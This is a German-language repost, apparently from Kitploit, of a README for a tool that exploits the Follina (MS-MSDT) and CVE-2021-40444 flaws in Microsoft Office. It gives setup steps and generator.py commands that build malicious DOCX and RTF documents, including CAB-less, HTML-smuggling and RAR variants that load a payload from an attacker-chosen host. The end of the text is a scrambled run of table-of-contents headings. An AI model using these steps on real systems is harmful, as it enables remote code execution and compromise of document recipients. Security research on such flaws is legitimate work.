Follina-CVE-and-CVE-2021-40444 — Dieses Repository enthält Skripte und Ressourcen zur Ausnutzung der Follina CVE- und CVE-2021-40444-Sicherheitslücken in Microsoft Office. Die Skripte erstellen schädliche Dokumentdateien, die beliebigen Code auf dem Zielsystem ausführen können. | Kitploit

Python und virtuelle Umgebung:

git clone https://github.com/basim-ahmad/Follina-CVE-and-CVE-2021-40444.git
cd CVE-2021-40444

Stellen Sie sicher, dass Python und pip in der virtuellen Maschine installiert sind.
Installieren Sie das Paket virtualenv mit folgendem Befehl:
```
pip install virtualenv
```
Erstellen Sie eine virtuelle Umgebung namens venv:
```
python -m virtualenv venv
```
Aktivieren Sie die virtuelle Umgebung:
```
venv\Scripts\activate.bat
```
Installieren Sie die erforderlichen Pakete:
```
pip install -r requirements.txt
```

Generieren des Exploits:
- Wechseln Sie in das Projektverzeichnis und führen Sie den folgenden Befehl aus, um den Exploit zu generieren:
```
python generator.py -u http://192.168.197.132 -P test\calc.dll --host
```
  Ersetzen Sie 192.168.197.132 durch Ihre IP-Adresse.
Zugriff auf das generierte Dokument:
- Das generierte .docx-Dokument befindet sich im Verzeichnis:
```
C:\Users\Lab\Desktop\project\CVE-2021-40444\out\document.docx
```

Generieren Sie den ursprünglichen Exploit und testen Sie lokal:
```
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
```
Generieren Sie einen CAB-losen Exploit, der MS-MSDT (Follina-Angriff) nutzt, sowohl in DOCX- als auch in RTF-Dokumenten:
```
python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert
```
Generieren Sie einen CAB-losen Exploit (nur IE) mit HTML-Schmuggel und testen Sie lokal über IE:
```
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
```
Generieren Sie einen CAB-losen Exploit mit RAR und testen Sie lokal über IE:
```
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
```

Follina-CVE-and-CVE-2021-40444

Beliebteste

Verwendung

Detaillierte Erklärung

Kettenausnutzung

Skriptübersicht

`generator.py`

`cab_parser.py`

Abschnitt 2.0: Einrichtung in Flare VM

Befehle

Haftungsausschluss

Follina-CVE-and-CVE-2021-40444

Beliebteste

Ausnutzung der Follina CVE- und CVE-2021-40444-Schwachstellen

Inhaltsverzeichnis

Einführung

Voraussetzungen

Einrichtung und Installation